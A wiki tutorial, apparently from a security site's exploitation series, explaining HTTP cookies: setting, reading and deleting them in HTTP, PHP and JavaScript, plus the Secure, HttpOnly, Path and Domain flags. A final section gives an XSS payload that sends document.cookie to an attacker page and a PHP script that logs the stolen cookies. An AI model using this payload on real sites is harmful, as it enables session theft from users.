Questions about this topic? Sign up to ask in the talk tab.


From NetSec
Jump to: navigation, search

Because HTTP is a stateless protocol, cookies are used to pass information transparently between the client and server, emulating a "state".

The server sets cookies on the client by using the Set-Cookie header as many times as needed to set new cookie values.

The RFC describing cookies recommends to URL-encode both the cookie name and the cookie value. As HTTP is a plain-text protocol, it could indeed be for the least annoying if we didn't encode to set a cookie with a value containing a CRLF, for example.

Setting a cookie

Direct HTTP programming

Send the Set-Cookie header as many times as there are cookies.


<syntaxhighlight lang="bash"> Set-Cookie: cookie_name_urlencoded=cookie_value_urlencoded; Expires=Wdy, DD-Mon-YYYY HH:MM:SS GMT; OtherFlags </syntaxhighlight>

For the "OtherFlags", see the Flags section.

PHP (server side)

Savitri says
Note that, since cookies are set in the HTTP headers, they shall be set before the HTML (or whatever you transmit over HTTP) output starts.

See Basically,

<syntaxhighlight lang="php"> //setcookie ( string $name [, string $value [, int $expire = 0 [, string $path [, string $domain [, bool $secure = false [, bool $httponly = false ]]]]]] )

setcookie('my_lover', 'hero hitler (or was it Mr. #?)', time()+1800, '/', '', false, false); // the false, false at the end is not mandatory, since these parameters are marked as optional. // $value is to be set to the desired value. Note that you shall not use booleans, as setting $value to false will delete the cookie // $expire is the timestamp at which this cookie shall expire // $domain sets the Domain flag (see Flags section // $secure sets the Secure flag (see Flags section // $httponly sets the HttpOnly flag (see Flags section </syntaxhighlight>

Savitri says
Note that PHP takes care of encoding and crap for you, so don't bother with that

Javascript (client side)

To set a cookie, you need to set a properly formatted string to the document.cookie string. Automagically, your browser will add the cookie in the site's jar. You may add all the parameters we describe in here

In order to get the properly formatted string, best option is to use a Date object, which has a very practical toGMTString() method. See this sample

<syntaxhighlight lang="javascript"> // set a cookie that will expire in 30 minutes (1800 seconds), // limited to domains under // to be transmitted over HTTP // or HTTPS, it doesn't matter to us. var d = new Date(); var expires = new Date(d.getTime()+1800).toGMTString(); document.cookie = "my_lover="+encodeURIComponent("hero hitler in love, or was it Mr #?")+";Expires="+expires+";"; </syntaxhighlight>

Feel free to expand this example, put it in a nicely wrapped function, to parameterize it, and whatnot.

Accessing a cookie

Direct HTTP programming (server side)

You have to parse the headers sent by the client, and to check for set-cookie headers. Remember, HTTP protocol is not case-sensitive!


Use the $_COOKIE superglobal to read the cookies. Remember it can't be used to set or delete cookies, only to read them, though PHP won't shout at you if you try and set some values. Just, it won't give a damn and never set them client-side.

<syntaxhighlight lang="php"> $lover = $_COOKIE['my_lover']; </syntaxhighlight>


Cookies not marked with HttpOnly can be accessed through Javascript. To read them, you have to split the document.cookie string by ';' (alert it just to take a look!) and to split each resulting key=value pair by '='.

<syntaxhighlight lang="javascript"> var cookies = document.cookie.split(';'); var c = new Array(); for (cookie in cookies) {

var cs = cookie.split('=');
c[cs[0]] = decodeURIComponent(cs[1]);

} alert(cs['my_lover']);


Deleting a cookie

Direct HTTP programming

To delete a cookie, simply set it with an Expires date in the past and optionally with an empty value. It will be erased.


The same goes with PHP. Set the value of the cookie to false using setcookie


Set the cookie as described above with an empty value, and an expiry date in the past.



The Secure flag indicates that a cookie may only be transmitted to the server via HTTPS, never via HTTP.


This flag indicates that a cookie can't be accessed through means other than HTTP transmission. That is, no Javascript, Flash or whatever client-run technique can access this cookie, i.e. it is not to be accessed by the client directly.

This flag protects the cookie from cross-site scripting attempts to steal the cookie (as could be done to steal a session).


The Path flag specifies which sub-part of a domain may access a cookie. Very useful when hosting on free hosters such as Geocities or ISP hosts. Indeed, if sets a cookie without putting the Path=/mysupersite flag, then can steal all the cookies from mysupersite, who will therefore starve. Uncool, isn't it? :(.


Domain serves the opposite purpose of Path, that is, it expands a cookie's scope beyond the FQDN that set it, to a broader domain.

Say you have a cookie that has been set by By default, can't access it. But if the first wants to share it with the second, then by setting, this cookie is also obtained by

Note that if you specify another, same-level domain (that is, sets a cookie with, the result is not guaranteed, as your browser might reject this cookie.

Savitri says
this is to be checked and tested extensively, as it might be an interesting vector


Stealing cookies through XSS

Savitri says
Remember that stealing cookies will make your friends or the grocery shop owner angry!

Change the current page to another location you control, using the document.cookie as parameter. Ideally make it as smooth as possible. Best option is to contaminate an iframe, and to recurse the iframe to its original contents.

<syntaxhighlight lang="javascript"> location.href = ""+encodeURIComponent(location.href)+"&cookies="+encodeURIComponent(document.cookie); </syntaxhighlight>

steal.php should be something like

<syntaxhighlight lang="php"> <?php /* (c) 2011 BlackHatAcademy */ $data = urldecode($_GET['cookies']); file_put_contents("stolen_cookies.txt", "<IP>".$_SERVER['REMOTE_ADDR']."</IP><![CDATA[".$data."]]>", FILE_APPEND); echo ''; die(); ?> </syntaxhighlight>

Savitri says
This is untested. Feel free to provide a sample implementation or anything more refined.
Cookies is part of a series on exploitation.